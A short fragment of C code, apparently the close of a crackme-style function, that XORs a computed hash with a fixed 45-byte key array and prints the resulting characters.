BYTE bxor[48] = { 0x1d,0x85,0x9a,0x48,0x7e,0x2d,0xd2,0xfb,0x76,0x9e,0xee,0x8e,0x8d,0xbc,0x52,0xea,0xef,0x39,0x3e,0xb8,0xe0,0x81,0x8,0x4f,0x49,0xa4,0xb9,0x48,0xd1,0xa1,0x32,0x7f,0x57,0xdb,0x32,0xcf,0x9a,0xbe,0x47,0x65,0x4c,0x9c,0x82,0x7f,0xa5 };
for (int i = 0; i < dwHashLen; i++)
printf("%c", hash[i] ^ bxor[i]);
return 0;
}